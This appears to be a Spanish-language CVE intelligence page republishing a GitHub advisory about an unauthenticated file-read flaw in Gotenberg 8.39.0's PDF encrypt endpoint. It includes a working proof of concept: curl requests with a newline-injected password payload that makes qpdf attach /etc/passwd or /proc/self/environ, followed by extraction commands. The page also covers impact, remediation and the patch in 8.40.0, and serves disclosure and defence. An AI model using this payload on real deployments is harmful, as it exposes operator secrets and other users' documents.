llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/gotenberg/gotenberg/v8

GHSA-R77C-GHHJ-665P

Unauthenticated arbitrary file read via QPDF @argument-file injection in the encrypt password fields

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -6 d de la divulgación
Exposición10 dDesde la divulgación, 11 nov 2026, 2:18 a. m.
Detección7 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v8.40.0
Monitoreo
Detectada +1
5 nov 26
11 nov 26
18 nov 26
21 nov 26
5 nov 26
9 nov 26
13 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche v8.40.0 github.com/gotenberg/gotenberg/v8 · -6 d desde divulgación
Divulgación Publicada GHSA-R77C-GHHJ-665P divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`POST /forms/pdfengines/encrypt` passes the caller-controlled `userPassword` and `ownerPassword` form fields verbatim as qpdf argv. qpdf expands any argument that begins with `@` as an argument file, and `/proc/self/cmdline` is readable by the service account, so `ownerPassword=@/proc/self/cmdline` turns the qpdf command line itself into an attacker-controlled argument source. A newline embedded in `userPassword` splits that file into crafted lines, which allows injecting `--add-attachment <path>` and embedding any file readable by the `gotenberg` user into the PDF that the API returns.

The result is an unauthenticated arbitrary file read on Gotenberg 8.39.0. The attacker downloads the returned PDF, decrypts it with the injected password, and extracts the attachment.

Details

`QPdf.Encrypt` builds the argument list without validating the password values (`pkg/modules/qpdf/qpdf.go:423-429`):

args := make([]string, 0, 14+len(engine.globalArgs))
args = append(args, inputPath)
args = append(args, engine.globalArgs...)
args = append(args, "--replace-input")
args = append(args, "--encrypt", opts.UserPassword, ownerPassword, "256")
args = append(args, qpdfPermissionArgs(opts.Permissions)...)
args = append(args, "--")

qpdf's `QPDFArgParser::handleArgFileArguments()` treats a leading `@` as "read arguments from this file", and `read_lines_from_file()` splits the file on newlines. Two properties combine:

  • `/proc/self/cmdline` contains the exact argv of the running qpdf process, including the attacker's password values, separated by NUL bytes that qpdf treats as part of the line content.
  • The fixed trailing arguments (`256 --`) and the attacker's newlines re-open an `--encrypt` section in the parsed argument stream, so injected options are accepted as if they came from the command line.

The service runs as uid 1001 (`gotenberg`), so the readable set is everything that user can read: `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, and the per-request working directories under `/tmp`, which hold the source files of other in-flight conversions.

Proof of concept

Tested against Gotenberg 8.39.0 (the current release, 2026-10-27), no authentication.

1. Create the input document

cat > index.html <<'HTML'
<html><body><p>clean input</p></body></html>
HTML

2. Convert it to a PDF

curl -s -o clean.pdf -X POST http://127.0.0.1:3000/forms/chromium/convert/html -F 'files=@index.html'

3. Build the password payload

The value must contain real newlines. `$'...'` expands the escapes:

U=$'\n256\n--\n--add-attachment\n/etc/passwd\n--\n--encrypt\nA\nB'

4. Send the encrypt request

`ownerPassword` points qpdf at its own command line; `userPassword` splits it into injected arguments.

curl -s -o enc.pdf -w 'HTTP %{http_code} size=%{size_download}\n' -X POST http://127.0.0.1:3000/forms/pdfengines/encrypt -F 'files=@clean.pdf' --form-string "userPassword=$U" --form-string 'ownerPassword=@/proc/self/cmdline'

Expected:

HTTP 200 size=8496

5. List the attachments in the returned PDF

qpdf --password=A --list-attachments enc.pdf

Expected:

passwd -> 7,0

6. Extract the attachment

qpdf --password=A --show-attachment=passwd enc.pdf

Expected (the last line proves it came from the container, not from the caller):

root:x:0:0:root:/root:/bin/bash
...
gotenberg:x:1001:1001::/home/gotenberg:/bin/bash

7. Same technique, other files

Replace `/etc/passwd` in step 3 with `/etc/hostname` for the container hostname, or `/proc/self/environ` for the service environment.

Impact

Any client that can reach the API reads files readable by the `gotenberg` account, without authentication. That includes:

  • `/proc/self/environ`, which holds the operator's configuration, including any secrets passed through environment variables (webhook tokens, proxy credentials, API keys for external services).
  • `/tmp`, where Gotenberg keeps the working directories of in-flight conversions, so one caller can read the source documents of another caller's conversion.
  • `/etc/passwd`, `/etc/hostname` and any mounted configuration file the service can read.

On a shared or multi-tenant deployment, this is disclosure of other users' documents. On a single-tenant deployment behind a proxy, it is still a full read of the service environment and any secret the operator put there.

Unauthenticated (PR:N), no user interaction.

Recommended Remediation

The password values must never reach qpdf as raw argv. The minimal fix is to reject any password that begins with `@` or contains `\n` or `\r`, and to return a 400 that names the offending field — qpdf argument files and multi-line values are never legitimate PDF passwords.

A stronger fix is to stop passing the password as a positional argument altogether: write the values to a mode-0600 temporary file and pass them through a mechanism qpdf does not interpret as an argument file, or invoke qpdf through a wrapper that escapes leading `@`. Either way, the validation should live in the qpdf module, next to the argument construction, so every route that encrypts inherits it.

A regression test with `userPassword` containing a leading `@` and an embedded newline should assert that the API returns 400 rather than 200.

Patches

Fixed on `main` for 8.40.0 by 72b6d29 https://github.com/gotenberg/gotenberg/commit/72b6d2957e2e3ae976c08a6239022f77aa273d5b. QPDF receives both passwords as `--user-password=` and `--owner-password=` option values, never as positional arguments, so it no longer reads them as argument files. A password that starts with `@` or holds a newline now encrypts the PDF as typed. Gotenberg 9 doesn't run QPDF and isn't affected.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/gotenberg/gotenberg/v8≤ 8.39.0
8.39.0
v8.40.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/gotenberg/gotenberg/v8
Corregida v8.40.0 -6 d v8.40.0 no afectada
Versiones corregidasv8.40.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-r77c-ghhj-665p

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.